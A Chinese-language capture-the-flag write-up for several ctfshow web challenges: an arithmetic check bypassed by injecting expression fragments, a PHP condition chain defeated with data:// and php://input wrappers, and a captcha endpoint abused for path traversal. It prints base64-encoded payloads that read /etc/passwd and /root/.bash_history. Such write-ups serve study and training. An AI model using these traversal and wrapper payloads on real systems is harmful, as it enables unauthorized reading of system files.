web签到
php和python中都是用**
来表示幂
请输入三个整数A、B、C,使得: A³+B³+C³=114
这里整数解不出来,尝试用开三次方的方法绕过整数限制
(5)**3+(-1)**3+(-10**(1/3))**3=114.0
方法二
计算方式为A3+B3+C3=114
使用+0来绕过开头为0的判断
用括号来绕3次方
绕过我们A输入+114)+(0
B和C输入+0
整个式子就成了
(+114)+(0)**3+(+0)**3+(+0)**3 =114
一行代码
<?php echo !(!(include "flag.php")||(!error_reporting(0))||stripos($_GET['filename'],'.')||($_GET['id']!=0)||(strlen($_GET['content'])<=7)||(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'||(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))?$flag:str_repeat(highlight_file(__FILE__), 0);
整理一下代码得到下面的逻辑
stripos($_GET['filename'],'.')===False $_GET['id']=0 strlen($_GET['content'])>7 eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow") substr($_GET['content'],0,1)=='w'===False //可以用通配符.或者*绕过 file_get_contents($_GET['filename'],'r') == "welcome2ctfshow"
这里是一个三目运算符,条件为真时输出flag,由于开头有个!,因此所有条件需要为假才能输出flag
eregi()
函数大小写不敏感,这里可以用W
来绕过;
?id=0&content=W1111111111&filename=data://text/plain,welcome2ctfshow
也可以换成input伪协议
get:?id=0&content=W111111111&filename=php://input post:welcome2ctfshow
登陆不了
看了一圈内容,发现问题出在验证码这里,创建新页面打开
/v/c?r=YzgxZTcyOC5qcGc= c81e728.jpg
任意文件下载(读取)漏洞
这里jpg给的是相对路径,盲猜是和前缀路径拼凑,因此读取需要用…/进行穿越
../../../../../../../../../../../etc/passwd Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== 成功回显出passwd
尝试确定中间件,先看历史命令记录(隐藏文件的.前缀)
一般是查看.bash_history或者是.zsh_history 不知道用户名可以~/用,查看root的需要root权限 ../../../../../../../../../../../~/.bash_history发现没有回显 ../../../../../../../../../../../root/.bash_history Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcm9vdC8uYmFzaF9oaXN0b3J5
apache-tomcat-8.5.45 是java框架啊,不会,溜了
黑客网站
# @hint: flag不在这个服务器上,不用扫描,不用渗透 一直重复 tyro s4qw s3mm bubg jqje 46nc v35j aqjg eb3n qiuf 23ij oj4z wasx ohyd onion